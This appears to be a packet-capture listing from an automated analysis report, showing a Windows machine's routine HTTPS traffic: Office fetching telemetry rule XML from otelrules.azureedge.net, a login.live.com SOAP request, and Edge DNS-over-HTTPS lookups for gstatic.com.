2024-10-30 17:06:38 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:38 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170638Z-17fbfdc98bbtf4jxpev5grnmyw00000008fg000000004knu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49788	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:38 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: b953619b-001e-0017-7a89-280c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170638Z-r1755647c66vpf8fnbgmzm21hs00000009c00000000006w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49786	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:38 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:38 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:38 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 8e3eac93-d01e-0017-759c-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170638Z-r1755647c66ljccje5cnds62nc000000075g000000000cqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 17:06:38 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49789	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:38 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170638Z-17fbfdc98bbt5dtr27n1qp1eqc00000008m0000000001swk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49790	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:38 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:38 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170638Z-r1755647c66gqcpzhw8q9nhnq0000000094g000000001w8e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:38 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49773	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-30 17:06:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 17:06:39 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 17:05:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: d2f0f449-c0d8-4653-a26e-0c36f07e85eb PPServer: PPV: 30 H: SN1PEPF0002F049 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 17:06:38 GMT Connection: close Content-Length: 1276
2024-10-30 17:06:39 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49796	172.64.41.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 17:06:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 17:06:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8dacff480cdfe583-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 17:06:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 72 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomrt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49797	162.159.61.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 17:06:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 17:06:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8dacff480c7e0bcf-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 17:06:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bb 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49798	162.159.61.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 17:06:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 17:06:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8dacff480eda28d5-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 17:06:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 18 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49801	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:40 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 389326c4-a01e-0053-299b-278603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170640Z-r1755647c666s72wx0z5rz6s60000000098g0000000099n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49800	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:40 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 2ee95feb-501e-0029-5d17-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170640Z-17fbfdc98bbh7l5skzh3rekksc00000009s0000000002e0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49802	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
